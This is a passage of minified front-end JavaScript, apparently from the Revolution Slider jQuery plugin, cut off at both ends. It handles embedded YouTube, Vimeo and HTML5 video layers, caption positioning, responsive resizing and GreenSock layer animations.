n=t.target.getVideoEmbedCode();var r=e("#"+n.split('id="')[1].split('"')[0]);var i=r.closest(".tp-simpleresponsive");var s=r.parent().data("player");if(t.data==YT.PlayerState.PLAYING){var o=i.find(".tp-bannertimer");var u=o.data("opt");if(r.closest(".tp-caption").data("volume")=="mute")s.mute();u.videoplaying=true;i.trigger("stoptimer");i.trigger("revolution.slide.onvideoplay")}else{var o=i.find(".tp-bannertimer");var u=o.data("opt");if(t.data!=-1&&t.data!=3){u.videoplaying=false;i.trigger("starttimer");i.trigger("revolution.slide.onvideostop")}if(t.data==0&&u.nextslideatend==true)u.container.revnext();else{u.videoplaying=false;i.trigger("starttimer");i.trigger("revolution.slide.onvideostop")}}};var D=function(e,t,n){if(e.addEventListener)e.addEventListener(t,n,false);else e.attachEvent(t,n,false)};var P=function(t,n){var r=$f(t),i=e("#"+t),s=i.closest(".tp-simpleresponsive"),o=i.closest(".tp-caption");setTimeout(function(){r.addEvent("ready",function(t){if(n)r.api("play");r.addEvent("play",function(e){var t=s.find(".tp-bannertimer");var n=t.data("opt");n.videoplaying=true;s.trigger("stoptimer");if(o.data("volume")=="mute")r.api("setVolume","0")});r.addEvent("finish",function(e){var t=s.find(".tp-bannertimer");var n=t.data("opt");n.videoplaying=false;s.trigger("starttimer");s.trigger("revolution.slide.onvideoplay");if(n.nextslideatend==true)n.container.revnext()});r.addEvent("pause",function(e){var t=s.find(".tp-bannertimer");var n=t.data("opt");n.videoplaying=false;s.trigger("starttimer");s.trigger("revolution.slide.onvideostop")});o.find(".tp-thumb-image").click(function(){punchgs.TweenLite.to(e(this),.3,{autoAlpha:0,force3D:"auto",ease:punchgs.Power3.easeInOut});r.api("play")})})},150)};var H=function(e,n){var r=n.width();var i=n.height();var s=e.data("mediaAspect");if(s==t)s=1;var o=r/i;e.css({position:"absolute"});var u=e.find("video");if(o<s){punchgs.TweenLite.to(e,1e-4,{width:i*s,force3D:"auto",top:0,left:0-(i*s-r)/2,height:i})}else{punchgs.TweenLite.to(e,1e-4,{width:r,force3D:"auto",top:0-(r/s-i)/2,left:0,height:r/s})}};var B=function(){var e=new Object;e.x=0;e.y=0;e.rotationX=0;e.rotationY=0;e.rotationZ=0;e.scale=1;e.scaleX=1;e.scaleY=1;e.skewX=0;e.skewY=0;e.opacity=0;e.transformOrigin="center, center";e.transformPerspective=400;e.rotation=0;return e};var j=function(t,n){var r=n.split(";");e.each(r,function(e,n){n=n.split(":");var r=n[0],i=n[1];if(r=="rotationX")t.rotationX=parseInt(i,0);if(r=="rotationY")t.rotationY=parseInt(i,0);if(r=="rotationZ")t.rotationZ=parseInt(i,0);if(r=="rotationZ")t.rotation=parseInt(i,0);if(r=="scaleX")t.scaleX=parseFloat(i);if(r=="scaleY")t.scaleY=parseFloat(i);if(r=="opacity")t.opacity=parseFloat(i);if(r=="skewX")t.skewX=parseInt(i,0);if(r=="skewY")t.skewY=parseInt(i,0);if(r=="x")t.x=parseInt(i,0);if(r=="y")t.y=parseInt(i,0);if(r=="z")t.z=parseInt(i,0);if(r=="transformOrigin")t.transformOrigin=i.toString();if(r=="transformPerspective")t.transformPerspective=parseInt(i,0)});return t};var F=function(t){var n=t.split("animation:");var r=new Object;r.animation=j(B(),n[1]);var i=n[0].split(";");e.each(i,function(e,t){t=t.split(":");var n=t[0],i=t[1];if(n=="typ")r.typ=i;if(n=="speed")r.speed=parseInt(i,0)/1e3;if(n=="start")r.start=parseInt(i,0)/1e3;if(n=="elementdelay")r.elementdelay=parseFloat(i);if(n=="ease")r.ease=i});return r};var I=function(n,r,i,s){if(n.data("ctl")==t){n.data("ctl",new punchgs.TimelineLite)}var o=n.data("ctl"),u=0,a=0,f=n.find(".tp-caption"),l=r.container.find(".tp-static-layers").find(".tp-caption");o.pause();e.each(l,function(e,t){f.push(t)});f.each(function(n){var s=i,o=-1,f=e(this);if(f.hasClass("tp-static-layer")){var l=f.data("startslide"),c=f.data("endslide");if(l==-1||l=="-1")f.data("startslide",0);if(c==-1||c=="-1")f.data("endslide",r.slideamount);if(l==0&&c==r.slideamount-1)f.data("endslide",r.slideamount+1);l=f.data("startslide"),c=f.data("endslide");if(!f.hasClass("tp-is-shown")){if(l<=r.next&&c>=r.next||l==r.next||c==r.next){f.addClass("tp-is-shown");o=1}else{o=0}}else{if(c==r.next||l>r.next||c<r.next){o=2}else{o=0}}}u=r.width/2-r.startwidth*r.bw/2;var h=r.bw;var p=r.bh;if(r.fullScreen=="on")a=r.height/2-r.startheight*r.bh/2;if(r.autoHeight=="on"||r.minHeight!=t&&r.minHeight>0)a=r.container.height()/2-r.startheight*r.bh/2;if(a<0)a=0;var d=0;if(r.width<r.hideCaptionAtLimit&&f.data("captionhidden")=="on"){f.addClass("tp-hidden-caption");d=1}else{if(r.width<r.hideAllCaptionAtLimit||r.width<r.hideAllCaptionAtLilmit){f.addClass("tp-hidden-caption");d=1}else{f.removeClass("tp-hidden-caption")}}if(d==0){if(f.data("linktoslide")!=t&&!f.hasClass("hasclicklistener")){f.addClass("hasclicklistener");f.css({cursor:"pointer"});if(f.data("linktoslide")!="no"){f.click(function(){var t=e(this);var n=t.data("linktoslide");if(n!="next"&&n!="prev"){r.container.data("showus",n);r.container.parent().find(".tp-rightarrow").click()}else if(n=="next")r.container.parent().find(".tp-rightarrow").click();else if(n=="prev")r.container.parent().find(".tp-leftarrow").click()})}}if(u<0)u=0;if(f.hasClass("tp-videolayer")||f.find("iframe").length>0||f.find("video").length>0){var v="iframe"+Math.round(Math.random()*1e5+1),m=f.data("videowidth"),g=f.data("videoheight"),y=f.data("videoattributes"),b=f.data("ytid"),w=f.data("vimeoid"),E=f.data("videpreload"),S=f.data("videomp4"),x=f.data("videowebm"),T=f.data("videocontrols"),N="http",C=f.data("videoloop")=="loop"?"loop":f.data("videoloop")=="loopandnoslidestop"?"loop":"";if(f.data("thumbimage")!=t&&f.data("videoposter")==t)f.data("videoposter",f.data("thumbimage"));if(b!=t&&String(b).length>1&&f.find("iframe").length==0){N="https";if(T=="none"){y=y.replace("controls=1","controls=0");if(y.toLowerCase().indexOf("controls")==-1)y=y+"&controls=0"}f.append('<iframe style="visible:hidden" src="'+N+"://www.youtube.com/embed/"+b+"?"+y+'" width="'+m+'" height="'+g+'" style="width:'+m+"px;height:"+g+'px"></iframe>')}if(w!=t&&String(w).length>1&&f.find("iframe").length==0){f.append('<iframe style="visible:hidden" src="'+N+"://player.vimeo.com/video/"+w+"?"+y+'" width="'+m+'" height="'+g+'" style="width:'+m+"px;height:"+g+'px"></iframe>')}if((S!=t||x!=t)&&f.find("video").length==0){if(T!="controls")T="";f.append('<video style="visible:hidden" class="" '+C+" "+T+' preload="'+E+'" width="'+m+'" height="'+g+'"'+'poster="'+f.data("videoposter")+'">'+'<source src="'+S+'" type="video/mp4"" />'+'<source src="'+x+'" type="video/webm"" />'+"</video>")}var k=false;if(f.data("autoplayonlyfirsttime")==true||f.data("autoplayonlyfirsttime")=="true"||f.data("autoplay")==true){f.data("autoplay",true);k=true}f.find("iframe").each(function(){var n=e(this);punchgs.TweenLite.to(n,.1,{autoAlpha:1,zIndex:0,transformStyle:"preserve-3d",z:0,rotationX:0,force3D:"auto"});if(Q()){var i=n.attr("src");n.attr("src","");n.attr("src",i)}r.nextslideatend=f.data("nextslideatend");if(f.data("videoposter")!=t&&f.data("videoposter").length>2&&f.data("autoplay")!=true&&!s){if(f.find(".tp-thumb-image").length==0)f.append('<div class="tp-thumb-image" style="cursor:pointer; position:absolute;top:0px;left:0px;width:100%;height:100%;background-image:url('+f.data("videoposter")+'); background-size:cover"></div>');else punchgs.TweenLite.set(f.find(".tp-thumb-image"),{autoAlpha:1})}if(n.attr("src").toLowerCase().indexOf("youtube")>=0){if(!n.hasClass("HasListener")){try{n.attr("id",v);var o;var u=setInterval(function(){if(YT!=t)if(typeof YT.Player!=t&&typeof YT.Player!="undefined"){o=new YT.Player(v,{events:{onStateChange:_,onReady:function(n){var r=n.target.getVideoEmbedCode(),i=e("#"+r.split('id="')[1].split('"')[0]),s=i.closest(".tp-caption"),u=s.data("videorate"),a=s.data("videostart");if(u!=t)n.target.setPlaybackRate(parseFloat(u));if(s.data("autoplay")==true||k)n.target.playVideo();s.find(".tp-thumb-image").click(function(){punchgs.TweenLite.to(e(this),.3,{autoAlpha:0,force3D:"auto",ease:punchgs.Power3.easeInOut});if(!Q()){o.playVideo()}})}}})}n.addClass("HasListener");f.data("player",o);clearInterval(u)},100)}catch(a){}}else{var o=f.data("player");if(f.data("forcerewind")=="on"&&!Q())o.seekTo(0);if(!Q()&&f.data("autoplay")==true||k){f.data("timerplay",setTimeout(function(){o.playVideo()},f.data("start")))}}}else if(n.attr("src").toLowerCase().indexOf("vimeo")>=0){if(!n.hasClass("HasListener")){n.addClass("HasListener");n.attr("id",v);var l=n.attr("src");var c={},h=l,p=/([^&=]+)=([^&]*)/g,d;while(d=p.exec(h)){c[decodeURIComponent(d[1])]=decodeURIComponent(d[2])}if(c["player_id"]!=t)l=l.replace(c["player_id"],v);else l=l+"&player_id="+v;try{l=l.replace("api=0","api=1")}catch(a){}l=l+"&api=1";n.attr("src",l);var o=f.find("iframe")[0];var m=setInterval(function(){if($f!=t){if(typeof $f(v).api!=t&&typeof $f(v).api!="undefined"){$f(o).addEvent("ready",function(){P(v,k)});clearInterval(m)}}},100)}else{if(!Q()&&(f.data("autoplay")==true||f.data("forcerewind")=="on")){var n=f.find("iframe");var g=n.attr("id");var y=$f(g);if(f.data("forcerewind")=="on")y.api("seekTo",0);f.data("timerplay",setTimeout(function(){if(f.data("autoplay")==true)y.api("play")},f.data("start")))}}}});if(Q()&&f.data("disablevideoonmobile")==1)f.find("video").remove();if(Q()&&e(window).width()<569)f.find("video").remove();if(f.find("video").length>0){f.find("video").each(function(n){var i=this,s=e(this);if(!s.parent().hasClass("html5vid"))s.wrap('<div class="html5vid" style="position:relative;top:0px;left:0px;width:auto;height:auto"></div>');var o=s.parent();if(i.addEventListener)i.addEventListener("loadedmetadata",function(){o.data("metaloaded",1)});else i.attachEvent("loadedmetadata",function(){o.data("metaloaded",1)});clearInterval(o.data("interval"));o.data("interval",setInterval(function(){if(o.data("metaloaded")==1||i.duration!=NaN){clearInterval(o.data("interval"));if(!o.hasClass("HasListener")){o.addClass("HasListener");if(f.data("dottedoverlay")!="none"&&f.data("dottedoverlay")!=t)if(f.find(".tp-dottedoverlay").length!=1)o.append('<div class="tp-dottedoverlay '+f.data("dottedoverlay")+'"></div>');if(s.attr("control")==t){if(o.find(".tp-video-play-button").length==0)o.append('<div class="tp-video-play-button"><i class="revicon-right-dir"></i><div class="tp-revstop"></div></div>');o.find("video, .tp-poster, .tp-video-play-button").click(function(){if(o.hasClass("videoisplaying"))i.pause();else i.play()})}if(f.data("forcecover")==1||f.hasClass("fullscreenvideo")){if(f.data("forcecover")==1){H(o,r.container);o.addClass("fullcoveredvideo");f.addClass("fullcoveredvideo")}o.css({width:"100%",height:"100%"})}i.addEventListener("play",function(){if(f.data("volume")=="mute")i.muted=true;o.addClass("videoisplaying");if(f.data("videoloop")=="loopandnoslidestop"){r.videoplaying=false;r.container.trigger("starttimer");r.container.trigger("revolution.slide.onvideostop")}else{r.videoplaying=true;r.container.trigger("stoptimer");r.container.trigger("revolution.slide.onvideoplay")}});i.addEventListener("pause",function(){o.removeClass("videoisplaying");r.videoplaying=false;r.container.trigger("starttimer");r.container.trigger("revolution.slide.onvideostop")});i.addEventListener("ended",function(){o.removeClass("videoisplaying");r.videoplaying=false;r.container.trigger("starttimer");r.container.trigger("revolution.slide.onvideostop");if(r.nextslideatend==true)r.container.revnext()})}var e=false;if(f.data("autoplayonlyfirsttime")==true||f.data("autoplayonlyfirsttime")=="true")e=true;var n=16/9;if(f.data("aspectratio")=="4:3")n=4/3;o.data("mediaAspect",n);if(o.closest(".tp-caption").data("forcecover")==1){H(o,r.container);o.addClass("fullcoveredvideo")}s.css({display:"block"});r.nextslideatend=f.data("nextslideatend");if(f.data("autoplay")==true||e==true){if(f.data("videoloop")=="loopandnoslidestop"){r.videoplaying=false;r.container.trigger("starttimer");r.container.trigger("revolution.slide.onvideostop")}else{r.videoplaying=true;r.container.trigger("stoptimer");r.container.trigger("revolution.slide.onvideoplay")}if(f.data("forcerewind")=="on"&&!o.hasClass("videoisplaying"))if(i.currentTime>0)i.currentTime=0;if(f.data("volume")=="mute")i.muted=true;o.data("timerplay",setTimeout(function(){if(f.data("forcerewind")=="on"&&!o.hasClass("videoisplaying"))if(i.currentTime>0)i.currentTime=0;if(f.data("volume")=="mute")i.muted=true;i.play()},10+f.data("start")))}if(o.data("ww")==t)o.data("ww",s.attr("width"));if(o.data("hh")==t)o.data("hh",s.attr("height"));if(!f.hasClass("fullscreenvideo")&&f.data("forcecover")==1){try{o.width(o.data("ww")*r.bw);o.height(o.data("hh")*r.bh)}catch(u){}}clearInterval(o.data("interval"))}}),100)})}if(f.data("autoplay")==true){setTimeout(function(){if(f.data("videoloop")!="loopandnoslidestop"){r.videoplaying=true;r.container.trigger("stoptimer")}},200);if(f.data("videoloop")!="loopandnoslidestop"){r.videoplaying=true;r.container.trigger("stoptimer")}if(f.data("autoplayonlyfirsttime")==true||f.data("autoplayonlyfirsttime")=="true"){f.data("autoplay",false);f.data("autoplayonlyfirsttime",false)}}}var L=0;var A=0;if(f.find("img").length>0){var O=f.find("img");if(O.width()==0)O.css({width:"auto"});if(O.height()==0)O.css({height:"auto"});if(O.data("ww")==t&&O.width()>0)O.data("ww",O.width());if(O.data("hh")==t&&O.height()>0)O.data("hh",O.height());var M=O.data("ww");var D=O.data("hh");if(M==t)M=0;if(D==t)D=0;O.width(M*r.bw);O.height(D*r.bh);L=O.width();A=O.height()}else{if(f.find("iframe").length>0||f.find("video").length>0){var I=false;var O=f.find("iframe");if(O.length==0){O=f.find("video");I=true}O.css({display:"block"});if(f.data("ww")==t)f.data("ww",O.width());if(f.data("hh")==t)f.data("hh",O.height());var M=f.data("ww");var D=f.data("hh");var R=f;if(R.data("fsize")==t)R.data("fsize",parseInt(R.css("font-size"),0)||0);if(R.data("pt")==t)R.data("pt",parseInt(R.css("paddingTop"),0)||0);if(R.data("pb")==t)R.data("pb",parseInt(R.css("paddingBottom"),0)||0);if(R.data("pl")==t)R.data("pl",parseInt(R.css("paddingLeft"),0)||0);if(R.data("pr")==t)R.data("pr",parseInt(R.css("paddingRight"),0)||0);if(R.data("mt")==t)R.data("mt",parseInt(R.css("marginTop"),0)||0);if(R.data("mb")==t)R.data("mb",parseInt(R.css("marginBottom"),0)||0);if(R.data("ml")==t)R.data("ml",parseInt(R.css("marginLeft"),0)||0);if(R.data("mr")==t)R.data("mr",parseInt(R.css("marginRight"),0)||0);if(R.data("bt")==t)R.data("bt",parseInt(R.css("borderTop"),0)||0);if(R.data("bb")==t)R.data("bb",parseInt(R.css("borderBottom"),0)||0);if(R.data("bl")==t)R.data("bl",parseInt(R.css("borderLeft"),0)||0);if(R.data("br")==t)R.data("br",parseInt(R.css("borderRight"),0)||0);if(R.data("lh")==t)R.data("lh",parseInt(R.css("lineHeight"),0)||0);var X=r.width;var J=r.height;if(X>r.startwidth)X=r.startwidth;if(J>r.startheight)J=r.startheight;if(!f.hasClass("fullscreenvideo"))f.css({"font-size":R.data("fsize")*r.bw+"px","padding-top":R.data("pt")*r.bh+"px","padding-bottom":R.data("pb")*r.bh+"px","padding-left":R.data("pl")*r.bw+"px","padding-right":R.data("pr")*r.bw+"px","margin-top":R.data("mt")*r.bh+"px","margin-bottom":R.data("mb")*r.bh+"px","margin-left":R.data("ml")*r.bw+"px","margin-right":R.data("mr")*r.bw+"px","border-top":R.data("bt")*r.bh+"px","border-bottom":R.data("bb")*r.bh+"px","border-left":R.data("bl")*r.bw+"px","border-right":R.data("br")*r.bw+"px","line-height":R.data("lh")*r.bh+"px",height:D*r.bh+"px"});else{u=0;a=0;f.data("x",0);f.data("y",0);var K=r.height;if(r.autoHeight=="on")K=r.container.height();f.css({width:r.width,height:K})}if(I==false){O.width(M*r.bw);O.height(D*r.bh)}else if(f.data("forcecover")!=1&&!f.hasClass("fullscreenvideo")){O.width(M*r.bw);O.height(D*r.bh)}L=O.width();A=O.height()}else{f.find(".tp-resizeme, .tp-resizeme *").each(function(){U(e(this),r)});if(f.hasClass("tp-resizeme")){f.find("*").each(function(){U(e(this),r)})}U(f,r);A=f.outerHeight(true);L=f.outerWidth(true);var G=f.outerHeight();var Y=f.css("backgroundColor");f.find(".frontcorner").css({borderWidth:G+"px",left:0-G+"px",borderRight:"0px solid transparent",borderTopColor:Y});f.find(".frontcornertop").css({borderWidth:G+"px",left:0-G+"px",borderRight:"0px solid transparent",borderBottomColor:Y});f.find(".backcorner").css({borderWidth:G+"px",right:0-G+"px",borderLeft:"0px solid transparent",borderBottomColor:Y});f.find(".backcornertop").css({borderWidth:G+"px",right:0-G+"px",borderLeft:"0px solid transparent",borderTopColor:Y})}}if(r.fullScreenAlignForce=="on"){u=0;a=0}if(f.data("voffset")==t)f.data("voffset",0);if(f.data("hoffset")==t)f.data("hoffset",0);var Z=f.data("voffset")*h;var et=f.data("hoffset")*h;var tt=r.startwidth*h;var nt=r.startheight*h;if(r.fullScreenAlignForce=="on"){tt=r.container.width();nt=r.container.height()}if(f.data("x")=="center"||f.data("xcenter")=="center"){f.data("xcenter","center");f.data("x",tt/2-f.outerWidth(true)/2+et)}if(f.data("x")=="left"||f.data("xleft")=="left"){f.data("xleft","left");f.data("x",0/h+et)}if(f.data("x")=="right"||f.data("xright")=="right"){f.data("xright","right");f.data("x",(tt-f.outerWidth(true)+et)/h)}if(f.data("y")=="center"||f.data("ycenter")=="center"){f.data("ycenter","center");f.data("y",nt/2-f.outerHeight(true)/2+Z)}if(f.data("y")=="top"||f.data("ytop")=="top"){f.data("ytop","top");f.data("y",0/r.bh+Z)}if(f.data("y")=="bottom"||f.data("ybottom")=="bottom"){f.data("ybottom","bottom");f.data("y",(nt-f.outerHeight(true)+Z)/h)}if(f.data("start")==t)f.data("start",1e3);var rt=f.data("easing");if(rt==t)rt="punchgs.Power1.easeOut";var it=f.data("start")/1e3;var st=f.data("speed")/1e3;if(f.data("x")=="center"||f.data("xcenter")=="center")var ot=f.data("x")+u;else{var ot=h*f.data("x")+u}if(f.data("y")=="center"||f.data("ycenter")=="center")var ut=f.data("y")+a;else{var ut=r.bh*f.data("y")+a}punchgs.TweenLite.set(f,{top:ut,left:ot,overwrite:"auto"});if(o==0)s=true;if(f.data("timeline")!=t&&!s){if(o!=2)f.data("timeline").gotoAndPlay(0);s=true}if(!s){if(f.data("timeline")!=t){}function at(){}function ft(){}var lt=new punchgs.TimelineLite({smoothChildTiming:true,onStart:ft});lt.pause();if(r.fullScreenAlignForce=="on"){}var ct=f;if(f.data("mySplitText")!=t)f.data("mySplitText").revert();if(f.data("splitin")=="chars"||f.data("splitin")=="words"||f.data("splitin")=="lines"||f.data("splitout")=="chars"||f.data("splitout")=="words"||f.data("splitout")=="lines"){if(f.find("a").length>0)f.data("mySplitText",new punchgs.SplitText(f.find("a"),{type:"lines,words,chars",charsClass:"tp-splitted",wordsClass:"tp-splitted",linesClass:"tp-splitted"}));else if(f.find(".tp-layer-inner-rotation").length>0)f.data("mySplitText",new punchgs.SplitText(f.find(".tp-layer-inner-rotation"),{type:"lines,words,chars",charsClass:"tp-splitted",wordsClass:"tp-splitted",linesClass:"tp-splitted"}));else f.data("mySplitText",new punchgs.SplitText(f,{type:"lines,words,chars",charsClass:"tp-splitted",wordsClass:"tp-splitted",linesClass:"tp-splitted"}));f.addClass("splitted")}if(f.data("splitin")=="chars")ct=f.data("mySplitText").chars;if(f.data("splitin")=="words")ct=f.data("mySplitText").words;if(f.data("splitin")=="lines")ct=f.data("mySplitText").lines;var ht=B();var pt=B();if(f.data("repeat")!=t)repeatV=f.data("repeat");if(f.data("yoyo")!=t)yoyoV=f.data("yoyo");if(f.data("repeatdelay")!=t)repeatdelayV=f.data("repeatdelay");if(f.hasClass("customin"))ht=j(ht,f.data("customin"));else if(f.hasClass("randomrotate")){ht.scale=Math.random()*3+1;ht.rotation=Math.round(Math.random()*200-100);ht.x=Math.round(Math.random()*200-100);ht.y=Math.round(Math.random()*200-100)}else if(f.hasClass("lfr")||f.hasClass("skewfromright"))ht.x=15+r.width;else if(f.hasClass("lfl")||f.hasClass("skewfromleft"))ht.x=-15-L;else if(f.hasClass("sfl")||f.hasClass("skewfromleftshort"))ht.x=-50;else if(f.hasClass("sfr")||f.hasClass("skewfromrightshort"))ht.x=50;else if(f.hasClass("lft"))ht.y=-25-A;else if(f.hasClass("lfb"))ht.y=25+r.height;else if(f.hasClass("sft"))ht.y=-50;else if(f.hasClass("sfb"))ht.y=50;if(f.hasClass("skewfromright")||f.hasClass("skewfromrightshort"))ht.skewX=-85;else if(f.hasClass("skewfromleft")||f.hasClass("skewfromleftshort"))ht.skewX=85;if(f.hasClass("fade")||f.hasClass("sft")||f.hasClass("sfl")||f.hasClass("sfb")||f.hasClass("skewfromleftshort")||f.hasClass("sfr")||f.hasClass("skewfromrightshort"))ht.opacity=0;if(q().toLowerCase()=="safari"){}var dt=f.data("elementdelay")==t?0:f.data("elementdelay");pt.ease=ht.ease=f.data("easing")==t?punchgs.Power1.easeInOut:f.data("easing");ht.data=new Object;ht.data.oldx=ht.x;ht.data.oldy=ht.y;pt.data=new Object;pt.data.oldx=pt.x;pt.data.oldy=pt.y;ht.x=ht.x*h;ht.y=ht.y*h;var vt=new punchgs.TimelineLite;if(o!=2){if(f.hasClass("customin")){if(ct!=f)lt.add(punchgs.TweenLite.set(f,{force3D:"auto",opacity:1,scaleX:1,scaleY:1,rotationX:0,rotationY:0,rotationZ:0,skewX:0,skewY:0,z:0,x:0,y:0,visibility:"visible",opacity:1,delay:0,overwrite:"all"}));ht.visibility="hidden";pt.visibility="visible";pt.overwrite="all";pt.opacity=1;pt.onComplete=at();pt.delay=it;pt.force3D="auto";lt.add(vt.staggerFromTo(ct,st,ht,pt,dt),"frame0")}else{ht.visibility="visible";ht.transformPerspective=600;if(ct!=f)lt.add(punchgs.TweenLite.set(f,{force3D:"auto",opacity:1,scaleX:1,scaleY:1,rotationX:0,rotationY:0,rotationZ:0,skewX:0,skewY:0,z:0,x:0,y:0,visibility:"visible",opacity:1,delay:0,overwrite:"all"}));pt.visibility="visible";pt.delay=it;pt.onComplete=at();pt.opacity=1;pt.force3D="auto";if(f.hasClass("randomrotate")&&ct!=f){for(var n=0;n<ct.length;n++){var mt=new Object;var gt=new Object;e.extend(mt,ht);e.extend(gt,pt);ht.scale=Math.random()*3+1;ht.rotation=Math.round(Math.random()*200-100);ht.x=Math.round(Math.random()*200-100);ht.y=Math.round(Math.random()*200-100);if(n!=0)gt.delay=it+n*dt;lt.append(punchgs.TweenLite.fromTo(ct[n],st,mt,gt),"frame0")}}else lt.add(vt.staggerFromTo(ct,st,ht,pt,dt),"frame0")}}f.data("timeline",lt);var yt=new Array;if(f.data("frames")!=t){var bt=f.data("frames");bt=bt.replace(/\s+/g,"");bt=bt.replace("{","");var wt=bt.split("}");e.each(wt,function(e,t){if(t.length>0){var n=F(t);V(f,r,n,"frame"+(e+10),h)}})}lt=f.data("timeline");if(f.data("end")!=t&&(o==-1||o==2)){$(f,r,f.data("end")/1e3,ht,"frame99",h)}else{if(o==-1||o==2)$(f,r,999999,ht,"frame99",h);else $(f,r,200,ht,"frame99",h)}lt=f.data("timeline");f.data("timeline",lt);z(f,h);lt.resume()}}if(s){W(f);z(f,h);if(f.data("timeline")!=t){var Et=f.data("timeline").getTweensOf();e.each(Et,function(e,n){if(n.vars.data!=t){var r=n.vars.data.oldx*h;var i=n.vars.data.oldy*h;if(n.progress()!=1&&n.progress()!=0){try{n.vars.x=r;n.vary.y=i}catch(s){}}else{if(n.progress()==1){punchgs.TweenLite.set(n.target,{x:r,y:i})}}}})}}});var c=e("body").find("#"+r.container.attr("id")).find(".tp-bannertimer");c.data("opt",r);if(s!=t)setTimeout(function(){s.resume()},30)};var q=function(){var e=navigator.appName,t=navigator.userAgent,n;var r=t.match(/(opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);if(r&&(n=t.match(/version\/([\.\d]+)/i))!=null)r[2]=n[1];r=r?[r[1],r[2]]:[e,navigator.appVersion,"-?"];return r[0]};var R=function(){var e=navigator.appName,t=navigator.userAgent,n;var r=t.match(/(opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);if(r&&(n=t.match(/version\/([\.\d]+)/i))!=null)r[2]=n[1];r=r?[r[1],r[2]]:[e,navigator.appVersion,"-?"];return r[1]};var U=function(e,n){if(e.data("fsize")==t)e.data("fsize",parseInt(e.css("font-size"),0)||0);if(e.data("pt")==t)e.data("pt",parseInt(e.css("paddingTop"),0)||0);if(e.data("pb")==t)e.data("pb",parseInt(e.css("paddingBottom"),0)||0);if(e.data("pl")==t)e.data("pl",parseInt(e.css("paddingLeft"),0)||0);if(e.data("pr")==t)e.data("pr",parseInt(e.css("paddingRight"),0)||0);if(e.data("mt")==t)e.data("mt",parseInt(e.css("marginTop"),0)||0);if(e.data("mb")==t)e.data("mb",parseInt(e.css("marginBottom"),0)||0);if(e.data("ml")==t)e.data("ml",parseInt(e.css("marginLeft"),0)||0);if(e.data("mr")==t)e.data("mr",parseInt(e.css("marginRight"),0)||0);if(e.data("bt")==t)e.data("bt",parseInt(e.css("borderTopWidth"),0)||0);if(e.data("bb")==t)e.data("bb",parseInt(e.css("borderBottomWidth"),0)||0);if(e.data("bl")==t)e.data("bl",parseInt(e.css("borderLeftWidth"),0)||0);if(e.data("br")==t)e.data("br",parseInt(e.css("borderRightWidth"),0)||0);if(e.data("ls")==t)e.data("ls",parseInt(e.css("letterSpacing"),0)||0);if(e.data("lh")==t)e.data("lh",parseInt(e.css("lineHeight"),0)||"auto");if(e.data("minwidth")==t)e.data("minwidth",parseInt(e.css("minWidth"),0)||0);if(e.data("minheight")==t)e.data("minheight",parseInt(e.css("minHeight"),0)||0);if(e.data("maxwidth")==t)e.data("maxwidth",parseInt(e.css("maxWidth"),0)||"none");if(e.data("maxheight")==t)e.data("maxheight",parseInt(e.css("maxHeight"),0)||"none");if(e.data("wii")==t)e.data("wii",parseInt(e.css("width"),0)||0);if(e.data("hii")==t)e.data("hii",parseInt(e.css("height"),0)||0);if(e.data("wan")==t)e.data("wan",e.css("-webkit-transition"));if(e.data("moan")==t)e.data("moan",e.css("-moz-animation-transition"));if(e.data("man")==t)e.data("man",e.css("-ms-animation-transition"));if(e.data("ani")==t)e.data("ani",e.css("transition"));if(!e.hasClass("tp-splitted")){e.css("-webkit-transition","none");e.css("-moz-transition","none");e.css("-ms-transition","none");e.css("transition","none");punchgs.TweenLite.set(e,{fontSize:Math.round(e.data("fsize")*n.bw)+"px",letterSpacing:Math.floor(e.data("ls")*n.bw)+"px",paddingTop:Math.round(e.data("pt")*n.bh)+"px",paddingBottom:Math.round(e.data("pb")*n.bh)+"px",paddingLeft:Math.round(e.data("pl")*n.bw)+"px",paddingRight:Math.round(e.data("pr")*n.bw)+"px",marginTop:e.data("mt")*n.bh+"px",marginBottom:e.data("mb")*n.bh+"px",marginLeft:e.data("ml")*n.bw+"px",marginRight:e.data("mr")*n.bw+"px",borderTopWidth:Math.round(e.data("bt")*n.bh)+"px",borderBottomWidth:Math.round(e.data("bb")*n.bh)+"px",borderLeftWidth:Math.round(e.data("bl")*n.bw)+"px",borderRightWidth:Math.round(e.data("br")*n.bw)+"px",lineHeight:Math.round(e.data("lh")*n.bh)+"px",minWidth:e.data("minwidth")*n.bw+"px",minHeight:e.data("minheight")*n.bh+"px",overwrite:"auto"});setTimeout(function(){e.css("-webkit-transition",e.data("wan"));e.css("-moz-transition",e.data("moan"));e.css("-ms-transition",e.data("man"));e.css("transition",e.data("ani"))},30);if(e.data("maxheight")!="none")e.css({maxHeight:e.data("maxheight")*n.bh+"px"});if(e.data("maxwidth")!="none")e.css({maxWidth:e.data("maxwidth")*n.bw+"px"})}};var z=function(n,r){n.find(".rs-pendulum").each(function(){var n=e(this);if(n.data("timeline")==t){n.data("timeline",new punchgs.TimelineLite);var i=n.data("startdeg")==t?-20:n.data("startdeg"),s=n.data("enddeg")==t?20:n.data("enddeg");speed=n.data("speed")==t?2:n.data("speed"),origin=n.data("origin")==t?"50% 50%":n.data("origin"),easing=n.data("ease")==t?punchgs.Power2.easeInOut:n.data("ease");i=i*r;s=s*r;n.data("timeline").append(new punchgs.TweenLite.fromTo(n,speed,{force3D:"auto",rotation:i,transformOrigin:origin},{rotation:s,ease:easing}));n.data("timeline").append(new punchgs.TweenLite.fromTo(n,speed,{force3D:"auto",rotation:s,transformOrigin:origin},{rotation:i,ease:easing,onComplete:function(){n.data("timeline").restart()}}))}});n.find(".rs-slideloop").each(function(){var n=e(this);if(n.data("timeline")==t){n.data("timeline",new punchgs.TimelineLite);var i=n.data("xs")==t?0:n.data("xs"),s=n.data("ys")==t?0:n.data("ys");xe=n.data("xe")==t?0:n.data("xe"),ye=n.data("ye")==t?0:n.data("ye"),speed=n.data("speed")==t?2:n.data("speed"),easing=n.data("ease")==t?punchgs.Power2.easeInOut:n.data("ease");i=i*r;s=s*r;xe=xe*r;ye=ye*r;n.data("timeline").append(new punchgs.TweenLite.fromTo(n,speed,{force3D:"auto",x:i,y:s},{x:xe,y:ye,ease:easing}));n.data("timeline").append(new punchgs.TweenLite.fromTo(n,speed,{force3D:"auto",x:xe,y:ye},{x:i,y:s,onComplete:function(){n.data("timeline").restart()}}))}});n.find(".rs-pulse").each(function(){var n=e(this);if(n.data("timeline")==t){n.data("timeline",new punchgs.TimelineLite);var 